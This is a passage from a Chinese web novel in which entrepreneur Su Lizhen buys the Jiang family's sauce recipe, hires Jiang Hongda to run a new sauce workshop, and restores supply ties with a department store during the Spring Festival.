这说明在重男轻女极为普遍的当下,即便是江大姐身有残疾,没有谋生能力,而江家又是这么境况艰难的情况下,她也没有被薄待过,两个孩子基本上是被一视同仁的。 这证明无论是身为长辈的江母、还是唯一担起养家糊口重任的江宏达都是心正且有担当的人。 而最叫她触动的是,今天初见时对方挂在自行车把手上那一卷用报纸包着、只露出一小截的大红围巾。 这个颜色明显不是买给江母的。要是送礼,这会儿的时间也不太对。江宏达又没有对象,所以看来看去,十有八九是要送给江大姐的。 以江宏达现今的处境,还能记着过年给姐姐买上一条新围巾,不得不说,这行为称得上有心。 也是因为看到了这份新年礼物,苏丽珍在跟对方谈收购条件时才会心念一动,顺势想要帮对方一把,也是帮江母和江大姐一把。 丁大勇听完,半晌不语 说实话,自己亲眼所见和从别人那听来的,真的完全不同。 今天跟着小师妹一起到江家,看见江家破旧的老房子,病弱卧床的江母,以及完全没有谋生能力的瘦伶伶的江大姐,丁大勇心里也难免有所触动。 就如师妹说的,看着这一家人,他也有好几次忍不住回想起从前一样处境艰难的自家。 不,也不一样,他当时至少还有一份学徒工的正式工作,还有师父、师娘一家帮衬。 而江家却是实实在在地艰苦,又无人帮扶。 估计要不是底子太差,江宏达当初也不一定会答应姓常的那样过分的要求。 这一刻,他是理解小师妹的。 这么想着,他便笑着道:“也好,反正不管是之前打听到的,还是今天咱们亲眼所见,我看这江宏达人品确实还不错,那帮他也算是做好事。” “而且你既然说看见他家就想起咱们两家当初艰难的时候,那我也要出点力。你要买下他手里所有的存货,干脆也算师哥一份,咱们俩一起出钱,让他们一家安心过个好年。” 苏丽珍失笑:“师哥,你这样倒像是笃定他会答应卖给我方子似的。” 丁大勇倒是一脸自信道:“这是当然!你这条件开得,我敢说眼下再没有人能赶上你这么大方了,他要是不傻,就不会拒绝。而且我看他也跟我一样,家里老娘能当家拿主意,所以这事没跑!” 他说的有趣,苏丽珍不由再次笑了起来。 不过笑过之后,她也没拒绝师哥之前的提议。 “那大勇哥,咱们说真的,如果我跟江宏达谈拢,那买下他手里存货这事,我也算师哥你一份。” “我的打算是把这批存货分成两半,一半送给市福利院和敬老院;另一半都送去张家屯。” 张家屯那边自从建了养殖基地后,为防止疫病传播,今年整个屯子的人都不再养鸡鸭活禽了。 原本按照苏丽珍的意思,年底大家分红后,再从她的份额里划出一笔钱买些鸡鸭给屯子里各家都送上两只过年,以感谢大伙儿对她的支持。 但是大伙儿这会儿刚拿了分红,正是兴头上,说啥也不要,反而一个劲儿让张表舅劝她留着这些鸡鸭,开春继续扩大规模。 既然活禽送不出去,那就送点现成的熟食,也算给大伙儿过年添个菜。 苏丽珍继续道:“给张家屯送的那一半算我的。往福利院和敬老院送的一半算是做好事,大勇哥,我和你平摊这一半,你看怎么样?” 虽然丁大勇只出四分之一的钱,但是按照苏丽珍心里估计,这钱数也不少。 不过近两年建筑公司效益好,不说丁大勇个人的工资和奖金,只是年底的t分红就不少,所以这笔钱对他来说还是比较轻松的。 丁大勇几乎从不反驳苏丽珍,这次也一样,听完当即痛快地点头道:“行,就按师妹你说的来。” 原本苏丽珍跟江家定好,是明天中午,也就是大年初一午后来听答复,没想到丁大勇前脚才把苏丽珍送回火锅店,不到一个小时,江宏达就直接上门了。 他同意卖方子给苏丽珍。 江宏达选择第二个方案,也就是所有采用江家酱方生产的产品净利润的2%分红。 同时,江家今后不能再拿这个酱方用于任何商业用途。 现在只是口头约定,等年后复工,双方会在“珍珍”公司里签署正式收购合同和分红协议。 事情谈妥后,江宏达神色没有放松,反而开始踟躇起来。 苏丽珍只看一眼,便猜到他大概是想提那一批“好味”熟食的事,只是不好意思开口。 她看了眼时间,还不到十一点半。这两年丁大勇一家也是跟他们一起过年,吃完中午和晚上两顿团圆饭后,才会回去。 按惯例,中午这顿团圆饭要等午后一点才开始,加上他们人多,去一趟江家把货都拉回来,时间还是比较充裕的。 于是,她没让对方煎熬太久,直接开口提出买熟食的事,江宏达闻言果然面露喜色。 这批货不算少,用吉普车肯定装不下,于是苏振东开车先把丁大勇送到建筑公司,然后再让丁大勇把那边库房里停着的卡车开出来。 这样一行人再到江家,几人一起动手,很快就把江宏达屋里堆放的那些熟食全搬上了卡车。 这么一看,这批熟食直接占了三分之二节车厢,这量可真不小。 最后结账的时候,出乎苏丽珍等人的意料,江宏达的这批货没有按苏丽珍之前提出的市场价,而是报了一个很低的成本价。 而且还不等苏丽珍说什么,江母就在江大姐的搀扶下颤颤巍巍过来了。 老人家虽然病弱,但一开口语气却很是坚决:“苏总,我老婆子没多少见识,但我知道作人得知恩懂礼!你能在这时候出面买下这些货,对我们家来说就是雪中送炭,你做的已经足够了。” “如果我们还按市场价收你的钱,那我们就是在占你的便宜,是揣着明白装糊涂,我们不能这么干!” 因为江母的坚持,苏丽珍最终还是接受了这个报价。 她是真心想帮一帮处境跟曾经他们家相似的江家,但江家人的这份心性无疑让她更加开心。 所以在结清款项,被江母和江大姐拉着闲话的时候,她让苏振东开着吉普车回了趟火锅店,拿了一批过年的物资回来留给江家。 等江家人反应过来的时候,苏丽珍已经坐上车,飞快离开了。 江母看着院子里那大块的牛腱子、猪五花,整扇的羊排、猪排,甚至还有成色极好的海鱼、海虾,忍不住红了眼眶。 江大姐不舍地看着外头苏丽珍离开的方向,也忍不住朝着母亲和弟弟比划:“妈妈,我感觉好像在做梦一样啊!” 江母喃喃道:“是啊,是像做梦一样。” 可这些年,明明就是连做梦也不敢梦到这么好的人和这么好的事啊!《 》 200-210 第201章 这个春节,苏丽珍注定要在忙碌中度过。 年三十下午跑了两趟市福利院和敬老院;大年初一上午,又直奔张家屯。 然后从初三开始,就陆续开始接到各地前来咨询加盟事宜的信件、电话,还有一部分人是直接过来的。不管最后合作能不能谈成,人家既然大老远过来就是诚意十足,苏丽珍他们自然也要认真接待。 期间,还要兼顾亲朋故旧走亲戚拜年,这其中也包括同自家火锅店、食品公司、建筑公司和养殖基地有业务往来的人家。 这两年苏丽珍的事业蒸蒸日上,关系网也是一扩再扩,都需要用心维护。 尤其今年又添加了不少有分量的朋友,比如给“珍珍”供货的省养猪场和活禽养殖场的领导,还有帮他们拿下新客运站建造工程的秦老院长和第四建筑公司的林东方等等。 这里面最难相处的是林东方,不过因为苏丽珍也为他准备了一个同样精美的建筑模型,所以林东方在看到这份出乎意料的拜年礼时,别说对他们板着脸了,那高高扬起的嘴角就从头到尾没弯下去过。 总之,事情多又杂,苏丽珍分身乏术,跟首都的沈老爷子通话的时间都直接缩短了一半不说,连上门来找她的谢芳芳和卢向阳也没工夫多陪。 两个小伙伴甚至还被她抓了“壮丁”。 谢芳芳被她塞了一堆信件、便条,都是过年期间全省各地来信、来电咨询加盟的客户信息。 苏丽珍让她帮忙初步整理这些信息,先统计出一份名单,然后再由她和苏振东进一步筛选,视情况给符合加盟条件的客户回信。 卢向阳暑假期间学会了开车,加上身强力壮,一身腱子肉,经常被她叫去充当司机和助手,陪着她一起满城跑,兼做一些搬搬抬抬的力气活儿。 有时候,火锅店太忙,他还会留下来帮着洗洗涮涮,搞得苏卫华夫妻都不好意思了。 如此到了初六,食品公司复工,开年第一件事就是跟江宏达签署正式的收购合同,将酱方拿到手。 不知道是不是苏丽珍买下他手里积压货物的事打动了对方,交方子的时候,江宏达不但表示制酱时可以全程给他们做示范,还把自己“五香鸡”以及江家酱菜的方子也一并给了他们。 他有些局促道:“我知道以‘珍珍’的实力,拿到我们家的酱方后,别说只是复刻,就是进一步改良,做出比我们家的熟食和酱菜更好吃的食物也不是啥难事。” “只是我想着,也许有了我这方子,你们说不定改良的速度会更快,能节省更多时间……这次苏总不计前嫌帮助我,我妈、我姐,我们一家三口真的很感激你,所以想着多少尽一份心。” 苏丽珍买下这方子,自然是要准备开发新口味的生产线,“五香鸡”的方子虽然还欠了一点功夫,但是能做为参考也不错。 还有江家的酱菜,那是连苏厚德也亲自盖章确认过的一等手艺,未来的潜力很大。 虽说江宏达跟他们签了协议,今后江家的这两款产品因为核心配方都涉及了被买断的酱料,因此对方自协议生效之日起就不能再做这两样的生意了。 但这也不代表他们能从江宏达手里白得这两个配方。 人家更没那个义务白送给她。 就是因为知道这点,所以苏丽珍更能感受江宏达这番话的真心实意。 她略一思索,最终选择接受对方的这份好意。 收下了方子后,她打量着对方身上那件依旧是初见时打着补丁的旧袄子,突然问道:“你今后有什么打算?” 江宏达选择的是第二个收购方案,也就是拿新生产线的利润分红。 只不过新生产线从筹建到投产还需要一段时间,就算是等到将来正式上架开售,初期扣掉成本后的利润也不会太高,江宏达可能要面临至少半年以上没什么收入的境况。 而在这期间,熟食就不说了,之前江家一直赖以为生的酱菜也不能卖了,对江家肯定是个影响。 但江宏达显然并不在乎这个,直言道:“我也不瞒苏总你,其实酱菜我真的早就卖够了,老早就想着换一条路……只是我太心急,恨不能一口吃个胖子,所以好好的路子也被我搞砸了。” 他说的都是真心话。酱菜这东西制作周期长,而且动辄一大堆坛坛罐罐,经管起来十分麻烦。加上小菜就是小菜,就算做的再怎么好吃,在时下人眼里远远抵不上一块肉来得实在,所以价格也就上不去。 要不是这样,他也不会费心思琢磨卤味。 不过虽然这条路最终因为他的贪心而失败,但他也不是全然没有收获。比如他还看到了这一行的潜力,所以当初苏总对他提出两个收购方案,他几乎没怎么考虑就选了拿分红的方式。 想到这些,他有些腼腆地对苏丽珍道:“苏总,是这样,我在报纸上看到你们要招加盟代理商,我也想试试。” 苏丽珍闻言微讶,没想到他还有这个想法,倒也确实是一条路子,不过她还是提醒道:“我们这次招募的代理商主t要是针对下面县市的,如果你真的想做这个的话,肯定是需要离开凤城市。” 想了想,又委婉道:“而且加盟的费用算下来也不是一笔小数目,这些加在一起还是有点压力的。” 江家就他一个顶梁柱,如果他离开凤城,光靠江家母女肯定不行。而公司为了长远考虑,能筛选出更合适的合作商,加盟的门槛设置的不低,家里没有一点底子可应付不来。 江宏达也是实在,直接将自己的想法和盘托出:“我妈就是隔壁阳市河中县人,我小时候算是在那边长大的,对河中县还算了解。另外,我有个发小这两年在那边干得挺好,我过去了,他也能照应我。等我能在那边站住脚,很快就会把我妈她们接过去。” “至于加盟费用的问题,”他有些不好意思地笑了笑,“我这不是今天跟苏总签了分红协议书吗?” “有一个经常买我家酱菜的老主顾,是储蓄所的干部,我跟他详细打听过了,拿着这份分红协议,我可以先从银行贷出一笔款子,应该能凑够这笔费用。” 苏丽珍听完,挑了挑眉。别说,这人有想法、有胆识,确实是个做事的人才,也更加印证了她当初的想法。 江家的酱方子是宝贝,江宏达这个人也不错,是个值得用心栽培的好苗子。 她于是笑道:“江大哥,你这想法可行。不过我这里还有另外一个建议,希望你能听一听。” “苏总,请说!”江宏达以为她要给自己有关加盟方面的建议,神色当即郑重起来。 却听苏丽珍话音一转:“江大哥,我想正式邀请你担任我们即将成立的制酱车间的负责人,一切待遇从优,希望你能认真考虑一下。” 新口味卤味生产线的调味核心是酱方,所以他们势必要成立专属的制酱车间。 既然已经单开辟出了一个车间,那她肯定要利益最大化,所以她决定除了开发新口味的酱香卤味之外,同时再新增一个肉酱系列产品。 她妈李翠英炒制的五香肉酱和辣肉酱十分美味,一直很受大家欢迎,只是家里不希望再增加李翠英的负担,所以这款火锅店的“明星”单品一直是只赠不卖。 除了送给亲朋好友外,大多是回馈给火锅店的老主顾们,但因为每每数量有限,惹得众人回回都要大肆争抢一番。 她妈一直以来炒酱用的都是市面上普通的黄豆酱,如今有了江家的酱方,味道绝对能更上一层楼。 现在各方面条件都成熟了,这个钱她要是不挣就是浪费机会。 所以开年,公司是准备上马两条全新生产线,而做为秘方核心的制酱车间就至关重要,既要做到大批量生产时口味不掉级,还要统筹安排好,保证产量能供得上两条生产线。 原本她是想让有十多年酱厂工作经验的苏振东专门负责这个车间,只是随着“珍珍”的规模越来越大,她又每年三分之二的时间不在家里,苏振东已经是超负荷状态,再加个制酱车间,长此以往,肯定是顾不过来的。 所以她思来想去,倒觉得江宏达是个不错的人选。 一来,他们已经签了协议,对方今后都无法从事涉及酱方的产品生产与销售,如果把车间交给他负责,能一定程度上降低配方泄露的风险;二来,这个人人品正直且不贪心,又知恩懂礼,作为合作伙伴来说还是比较让人放心的。 只是她不太能确定对方的管理能力如何。 原本是想着先征询一下对方意见,问他愿不愿意先到车间里当个技术指导,等适应一段时间再向上提拔。 不过听了江宏达刚刚的计划后,她突然觉得这人在有想法的同时,还很有几分魄力。 既然这样,那她也要有决断,当下便以最大的诚意向对方发出邀请。 江宏达听了苏丽珍的话后,整个人直接愣住了! 他张着嘴巴,傻傻地看着苏丽珍,好半天才反应过来对面人的意思。 他立时觉得一阵心跳加速,连话都说不利索了:“苏总,你、你是说,让我、我……” 苏丽珍笑着安抚他道:“先别急,这事你可以慢慢考虑,不过在你做出决定之前,我刚好有个东西给你看。” 说着回身从自己的书桌上抽出一份文件递给对方,“你先看看这个,然后再告诉我你的决定就好。” 江宏达接过那份文件的时候,一颗心还跳得厉害,得亏他这阵子经的事不少,关键时刻好歹没掉链子。 他一边在心里不停告诫自己要稳住,一边又带着几分好奇地翻开了手里的文件。 只看了开头几行字,他就知道这是一份关于“珍珍”公司即将开发的制酱车间,以及新口味卤味生产线和肉酱生产线的执行计划书。 这份计划书很是详尽,而且但凡有点眼力的人都能从中看出这几条新生产线如果运营得当,将会创造多么大的利益,这跟他之前在旧仓库里搞熟食加工的那个小作坊简直是天壤之别。 不,准确地说,这两者压根没有可比性! 人家这个才是真正的潜力无穷! 他甚至还从这份计划书里,看到了苏总对未来整个熟食加工品市场的巨大野心! 他现在有理由相信,如果未来华国的这一片市场上将要诞生一个引领行业、称霸四方的佼佼者,那这个人必定是眼前的苏总无疑。 同时,他也感到万分的激动,苏总邀请了他加入“珍珍”这个团队,那是不是代表了未来他也能随着这个佼佼者一起问鼎行业巅峰? 这一刻,江宏达心里不禁升起一股豪情。 他下意识攥紧了手里的文件,两只眼睛亮的惊人。 “苏总,不用考虑了,我接受您的邀请!” 苏丽珍露出浅浅的微笑,主动朝对方伸出右手:“欢迎你,江大哥。接下来的日子,希望你我一起全力以赴,把我们的‘珍珍’一起做大、做强!” 江宏达回握住这只手,重重点头:“江宏达荣幸至极!” 苏丽珍给人事部打电话,让部门主管亲自过来给江宏达办理入职手续。 眼下还是过年期间,本来苏丽珍是打算先让他忙完家里的事情,等过两天再上班,只是江宏达坚持明天就能正式到岗。 苏丽珍一想,一口气上马好几条生产线,对公司来说也是大动作了,各种筹备工作确实不少,江宏达这个时候能早点过来也是好事,就没再坚持。 送走江宏达后,她桌上的电话就响了,她过去接听,是她爸苏卫华打过来的。 “闺女啊,你那个大学室友吕新芳,刚刚给你打电话了。我也不知道你这会儿在哪个公司,怕她又白打,就没告诉她。不过,我留了她的电话,让她在原地等二十分钟。” 苏丽珍马上道:“行,爸,你把她电话号告诉我,我这就联系她。” 苏丽珍很快拿到对方的号码,这一看就是离苏爷爷家最近的那所邮电局的电话,上学期,她平均每个月都要去个两三回。 她把电话打了过去,等了约莫三、四分钟就接通了。 “珍珍,过年好啊!” 电话里很快传来吕新芳愉悦的声音。 第202章 “芳姐,过年好!” 大概是怕浪费她电话费,两人相互问候后,吕新芳就直奔主题:“珍珍,这次过年回家,我家里一切都好。债还清了,大伯、我爸他们身体也好转了,开春马上还能盖新房,家里人很感激你们大伙儿对我的帮助。还有这次,我大伯娘也一块跟我来首都了。” “我们是昨天早上到的,我已经托隔壁李奶奶帮忙,让她在你干爷爷家这一片找了户人家,租了一间小屋,平时够我和大伯娘两个人住。不过你干爷爷家那边,我会经常过去打扫、烧炉子。” “我这次打电话,就是想请你问问你干爷爷,能不能把那台缝纫机搬到我们现在的住处,先租给我们一段时间?珍珍你放心,我一定会好好保管的,而且我保证等我弄到了缝纫机票,就把它给你们还回去,行吗?” 苏丽珍只稍一思索就明白怎么回事了。 吕新芳年前给她写信,说自己准备腊月二十八再回老家,这段时间她和管明月一起挣了不t少钱,这次回去应该能把家里的问题一次性解决。 只是恐怕在她家老人看来,一个女孩子出去上了几个月学,就突然拿回家这么大一笔钱,多少还是有些不放心,所以才让吕新芳的大伯娘跟着一起过来,好看看吕新芳是不是真的如她说的那样做手工挣钱。如果确定这条路能行,那她大伯娘留下还能给搭把手。 不过吕新芳拎得清,人虽然带来了,却不想把大伯娘也带到苏家,两人一起沾苏丽珍的便宜,索性干脆带着人一起在外租房子。 住处的问题解决了,可她大伯娘不太会说普通话,又是初来乍到,所以没法像吕新芳和管明月那样负责销售工作。那这人来都来了,总不好天天闲着,只不过首都那边虽然地大物博,但对于她们这种外地人来说,一张缝纫机票照样能把人为难死。 别说她们,就是年前他们公司搞抽奖活动,那些发出去的奖品同样需要支付票据,她在凤城占着地利、人和的便宜,还是四处托人才凑出来的。 所以吕新芳现在想搞到一张缝纫机票还是挺不容易的。 大概也是怕她大伯娘着急,吕新芳才给她打了这个电话。 苏丽珍转瞬想通这些,也理解对方一片苦心,便道:“芳姐,这事好办,我直接就能做主,暂时把机器借你们用一段时间。” 吕新芳听完十分高兴:“珍珍,太谢谢你了!我知道你这是新机器,一直是我在沾便宜,这次费用我们一定会多出的。” 苏丽珍笑道:“费用就算了,你不是说会经常来替我们打扫、烘屋子吗?这钱刚好相抵了。” 吕新芳自然不肯,不过顾忌电话费贵,就没在电话里拉扯。 临挂电话前,苏丽珍又嘱咐了一句:“芳姐,年前我买的煤不少,我听明月说,你根本不舍得用,现在还剩得挺多。你把缝纫机拉走的时候,顺带稍回去一些煤。等我回去就开春了,我也不爱经管那些东西,白放着可惜。” 赶着吕新芳开口拒绝前,她抢先道:“你要是不答应,那我就直接找明月了!” 吕新芳一听这话,连忙投降:“好好,我听你的,可千万别找她。” 苏丽珍不禁笑了起来。 年前的时候,她接到管明月的电话,原来是吕新芳白天四处卖货,到了晚上又经常熬夜赶工,偏偏还舍不得烧煤,手脚都生了冻疮,人也瘦了一大圈。 管明月给她打电话就是想征求她同意,晚上过来陪着吕新芳,好监督她保重身体。 苏丽珍自然也心疼这位细心坚强的舍友,再三确认过自己和管明月当初拉的那一大车煤连五分之一都没用上,她就更心疼对方了。 要知道四九城的冬天也一样很冷,吕新芳这简直是拿命在拼。 估计年前为这事,管明月就没少出头,所以这会儿一听说她要摇人,吕新芳想也不想就答应了。 真好,她的室友们聪明能干,还有情有义。 对于她来说,这样的际遇同样弥足珍贵,值得用一颗真心对待。 跟吕新芳通完电话后,苏丽珍就重新奔赴自己的“战场”,中午和苏振东一起去了上次订购设备的机械厂研究引进新的生产线;中午又给海市那边打电话,准备再采购一批最新的抽真空包装机器。 在公司里一气儿忙到下午五点,眼瞅着快下班的时间,又接到了第一百货吕经理的电话。 经历了常经理的事之后,他们跟吕经理的关系亲近了不少,因此平时说起话来也少了许多客套话,吕经理上来就直接道:“珍珍啊,有这么个事,第三百货新上任的杨经理托我给你打个招呼,明天晚上他做东,想请你和振东老弟吃个饭,我和老刘作陪。你看你到时有没有工夫?” 苏丽珍之前就听到小道消息,说这位杨经理虽然是本地人,但之前一直在外市工作,这次突然被调回来接管第三百货,可是让不少人大跌眼镜。 有人说他背景深厚;也有人说他平平无奇,只不过是运气好而已,反正不管说什么的都有。 这个杨经理本人也很有意思,都说“新官上任三把火”,可这位自大年初一走马上任后却一直静悄悄的。大家本来还在猜他什么时候才会有所动作,没想到对方上任的第一步却是先联系他们。 看来这位是想把这次和他们“珍珍”破冰的机会当做一次突破口。 不过苏丽珍只考虑了几分钟,就决定接下对方抛来的“橄榄枝”。 使绊子针对她的是常经理,又不是第三百货。现在常经理走了,放着第三百货这么个销售渠道不用白不用。 因为心里早有了底儿,所以等真的和这位杨经理见面时,苏丽珍的态度称得上热络,不管是对做东的杨经理,还是这次负责牵线搭桥的吕经理,面子都给得足足的。 当然这位杨经理也是个妙人,不知道心里怎么想,反正面上是十足的一派亲切自然,而且话说的也十分有技巧,既不过分热情,又让人觉得妥帖。 总之,这顿饭在双方心照不宣的态度下可谓宾主尽欢。 酒过三巡,天也聊得不错,大家更是肉眼可见地熟稔了不少。 于是,在这样的气氛下,杨经理十分自然地提出请“珍珍”年后恢复向第三百货供货的事时,苏丽珍也表现出毫无芥蒂的态度,一口答应了下来。 这中间也没谁不识趣地谈起他们之前已经解约的问题。 看苏丽珍这样爽快,杨经理也是诚意十足,不但主动提出要下调2%的提点,还承诺会把“珍珍”的柜台安排在一层食品大厅里最好的位置。 苏丽珍便也投桃报李,表示这次第三百货重新上架他们的产品后,会帮着做一个专门针对第三百货的促销活动。 比如消费满两元赠送一个卤蛋或者一小包卤鸡肝、卤豆干之类的满赠活动。 效果自然比不上年前的抽奖活动,但这次毕竟是只提供他们第三百货一家的促销活动,总体还是比较有吸引力的。 一旁的吕经理不免打趣道:“幸好这次是独他家一份的,要不然这样的活动多来个几回,我大侄女一年可要少挣不少钱。” 苏丽珍不知道这话里有多少试探的成分。她也知道几家百货公司彼此存在一定竞争,又都卖她家的产品,自然是此消彼长,所以吕经理心里肯定也盼着她能多搞一些活动带动自家百货公司收益。 这事别说吕经理,就是一直笑呵呵不多话的刘经理内心也未尝没有这个想法。 也是人之常情。 不过,吕经理说的其实不错,这样的活动还真不能经常搞。少赚钱是小事,她不能给顾客传递这样一个信号,就是这家公司活动很多,平时花正价买不划算。 那才是要出大问题的! 是以,她也半真半假地附和道:“还真是叫吕叔说着了,我们搞这些促销活动,虽然达不到‘赔本赚吆喝’的程度,可里外里算下来那也是费劲还没赚头。” 说着,似笑非笑地看向吕经理道:“我这不也是因为今天吕叔和刘叔你们二位坐在这儿,所以总得有点表示嘛!到底这打肿脸充胖子的事不好看,所以吕叔,当着杨经理的面,您可少拆我的台。” 苏丽珍的意思很明显,今天这一桌可是你吕、刘二人牵的线,我今天这么大方配合,那也同样是看在你们二人的面子上。 同时,也点了下杨经理,我为了支持你工作,眼瞅着差点给自己挖了坑,你得了好处可不能站在旁边干看着。 杨经理果然上道,一边朝苏丽珍竖大拇指:“苏总不计前嫌,还愿意帮咱一把,仁义、敞亮!” 一边转头又拿起酒瓶给吕经理、刘经理和苏振东各倒了杯酒,先对吕、刘二人道:“两位哥哥就更是帮了我大忙,今天要没你们出面,人苏总心里指不定还对我们第三百货有啥误会呢,所以您二位可是我的贵人!” 又对苏振东道:“还有苏兄弟,今后也得请您多多关照了。” “来来,我敬各位一杯,都在酒里了!”说罢,率先端起自己面前的酒杯一饮而尽。 三人也跟着陪了一杯,连苏丽珍也意思意思地端起茶杯抿了一口。 经由苏丽珍和杨经理这么先后一捧,吕、刘二人的面子挣得足足的,也就顺理成章把这一茬揭过了。 这顿饭一直吃t到晚上八点,众人才尽兴。 除了苏丽珍以外,其他人都没少喝,她便承担起司机的责任,负责把几人依次送回家。 按照距离,先送的刘经理和杨经理,最后是吕经理。 吕经理这人喝高了话特别密,一句接一句的,偏巧苏振东跟他正相反,喝多了就异常沉闷,多一个字都不愿开口。 吕经理自己一人坐在后座也不怕冷场,还时不时往前探头招呼苏丽珍唠几句,实在叫人哭笑不得。 苏丽珍在前面开着车,既要应付吕经理,还要分心看着旁边副驾驶上沉默的苏振东,心里暗暗担心他喝多了难受。 正想着待会儿回家要让她妈熬一锅醒酒汤,就听后面吕经理冷不丁冒出一句:“大侄女啊,你们是不是认识一个姓沈的投资商?” 眼下说到投资商,那一般都是指那些从海外回来的华侨、华裔,所以吕经理这么一问,苏丽珍就直接联想到是哪个来凤城投资的归国华商,便顺口道:“不认识,我们家没有海外关系。” 吕经理忙道:“不是海外的,就是首都过来的!据说是今年十一月底在咱凤城开了个家电制造公司,专门生产录音机和电视机……我听说这人在首都背景很深,在特区和其他地方都有建厂,涉足好多产业,厉害着呢!” 一听这话,苏丽珍脑海里第一个就想到了沈瑞。 年前腊月二十七的时候,几乎快一年多没照面的周明义突然带着大包小包上门,说是来给他们家拜早年。 年前一次跟沈老爷子通电话的时候,她偶然得知沈瑞一月底的时候受邀参加了一个由首都外贸部组建的考察团,出发去了米国。 据说沈瑞这次行程比较突然,而且时间也不短,最少也要两个月,所以国内公司的大小事务就悉数落在了周明义头上。 周明义也说自己忙得厉害,之前沈瑞临走前还叮嘱他一定要在年前过来拜访一次,只是他一直抽不出时间,这才拖到了腊月二十七,眼瞅还有两天过年了。 因为她这边当时也一心扑在公司活动和联系媒体打加盟广告的事上,所以当时跟周名义匆匆见了一面之后,也没多想。这会儿突然从吕经理这里听到对方的名字,不禁让她回想起那次周明义过来,开口闭口“瑞哥”的样子,心底不禁浮现出一丝异样情绪。 那边吕经理没有得到苏丽珍的回应,也没在意,继续喋喋不休道:“大侄女啊,这个姓沈的投资商可是个狠角色,你知道吗?那姓常的年前求爷爷、告奶奶,本来已经保住了一份工作,但今天上面突然下了一份通知,以他违反纪律,造成的影响太恶劣为由,把他发配到了下面一个贫困县乡镇副食点上当临时工去了!” “这回别说什么县百货,他最后连正式工作都没有了!我跟你说,我都打听出来了,这事就是因为这位沈先生突然出的手!” 苏丽珍听了这话暗自心惊,怕自己分神,赶忙踩了刹车,把车子停在了路边。 吕经理坐在她身后,看不到她正脸,但莫名能感受到她此刻的惊讶,便一脸感同身受似的跟着点头道:“吓一跳吧?我头一回听说这个事也是吓了一跳!而且不光这姓常的,陈经理这次也没跑掉,说是最迟开春,肯定要把他也动一动,这回最轻的也是把总经理的头衔撸掉!” 苏丽珍只觉得自己心跳好像都漏了一拍,下意识就想要反驳点什么。 她听见自己用佯装平静的声音询问对方:“也许是这两个人之前得罪过对方,所以才引来人家出手?” 结果她从后视镜里看到吕经理差点把自己脑子摇飞, “不可能!”对方信誓旦旦道,“他俩要是真得罪过这样的人物,那还用等到今天?怕是老早就被人家清算了!而且你别看姓常的狂,其实他可不是笨蛋,不可能、也不敢得罪这种人的。” 说着,他又使劲往前倾了倾身子,刻意压低声音道:“大侄女,我告诉你,听说这人连面都没露,就是打了几通电话,结果这边就给当事给办了。姓常的也就罢了,陈经理可是找了不少人求情也没管用,摆明人家就是要治他们俩。” “所以,我才想问问大侄女,你们是不是跟这位首都的沈先生有关系?” 第203章 苏丽珍一时有些心慌,不自觉地看了眼旁边的苏振东,见他一直保持着手撑额头,身体倚靠车窗的姿势,估计是酒劲儿上头,已经迷糊了,心里不由松了口气,打起精神道:“吕叔,您也不是不知道我家,土生土长的凤城人,哪里能有这样的人脉。” 吕经理又追问了几句,苏丽珍一直含糊其辞。 吕经理的表情明显不信,但也没多纠缠,只嚷嚷着叫苏丽珍将来发达了,一定别忘记照顾照顾他。 苏丽珍这会儿看不出他到底有几分醉,但相比起清醒状态下,有些话确实是借着酒劲儿开口更方便。这样半真半假地试探,也更符合对方这种摸爬滚打多年的“老油条”作风。 不过都是出来混的,苏丽珍自己也没少干过找机会套近乎、扯虎皮扛大旗的事,所以也不会深究对方那点小心思。 她刚才不是也没直接开口承认或否认这件事吗? 说她没有想顺势借沈瑞的势的想法,那才是假的。 是的,从刚刚吕经理说的第一句话开始,她就知道这个人是沈瑞,也知道他之所以这么做完全是为了他们。 甚至,她心底一直有个声音在告诉她,这事跟振东叔他们关系也不大。 她不敢深想对方为什么要这样做,连带她都不敢在吕经理面前承认自己认识他。 但她又确实想借用沈瑞的势。 到现在还有什么不明白的?杨经理做为第三百货新上任的总经理,今晚主动做东宴请他们不说,席间姿态也一度放得很低。 还有吕经理关于促销活动的委婉试探,事情不成后也表现得全然不在意,并不多纠缠的样子。 这些不能说都是受了沈瑞的影响,但他肯定也占了相当一部分原因。 正是因为看清了这点,舍不得对方这一次间接替她“敲山震虎”,想借用对方这股威势在自己不在凤城的日子振场,所以她刚刚才含糊其辞,既不承认、也不否认。 说白了,她也是虚伪。 心情复杂地将吕经理送回家后,她理了理思绪,看向始终维持一个姿势的苏振东,关切道:“东叔,好点了吗?您再坚持一会儿,咱们马上到家了。” 苏振东只是微微晃动了下脑袋,似乎是真的睡着了。 苏丽珍叹了口气,把一切乱七八糟的想法都暂且压下,只顾专心开车。 也因为她只顾着开车,没发现旁边苏振东紧闭的眼皮下眼球轻轻动了动。 日子在忙碌中过得飞快,一眨眼就到了月末。 这十多天时间,由苏厚德和李翠英亲自操刀,以江家酱方为调味核心的新口味卤味已经研发完成。 新品卤味最大限度地发挥了江家酱方的独特风味,比原来江家的“五香鸡”滋味更鲜美,口感也大大提升,肉质酥烂脱骨,且汁水丰盈,半点不逊色之前的卤味和熏味产品。 苏丽珍给新品卤味起名为“酱香”系列。 生产线方面,因为还是之前购买过的机械设备厂,所以这次没用多长时间,厂家就直接安排发货,接下来就是安装调试,过程非常顺利。 比较麻烦的是江宏达的制酱车间。酱料本身生产周期长,加上新车间什么都没有,一切都要从零开始。 从原材料和设备器具的挑选采购,再到招聘工人,安装调试设备,布置发酵仓,大大小小的事加在一起,尽管他们的效率不低,江宏达更是为了能早日生产出足够的大酱,恨不能整天吃住在厂子里,但这一整套流程算下来,最少还是要三个月的时间。 不过,苏丽珍对此早有准备,从江宏达入职开始,就让他带人先手工制作了一批大酱。这一批酱料预计四月初就能开缸食用,只不过产量不大,暂时只够供应酱香生产线。 如果想要同时供应肉酱生产,就只能等整条线正式投产了。 正好炒制肉酱的生产线跟卤味完全不同,跟他们合作的设备厂也是头一回做,需要摸索一段时间,相应的安装时间也要靠后,倒是不怕耽搁了。 还有建筑公司那边,过了正月十五,丁大勇就带人第一批进驻t了老客运站,负责初期的拆除工作。 这么大一座客运交通设施,没法一下就停用,临时的客运站点也没法支撑等量的客流,所以老站的拆除工作也是逐步完成,先从边角一些不太重要的设施开始。 这活儿没啥技术含量,就是埋汰。正式拆除第一天,苏丽珍不过跟着丁大勇在工地呆了半天时间,整个人就跟泥猴似的。 然后就是安全问题,一方面要保证工人们的人身安全,同时还得注意过往行人。 客运站地处市中心的位置,不少家在这一片的凤城人为了图方便,经常抄近道从站内横穿,导致整个客运站的外栅栏被人拆的东缺一块、西缺一块。 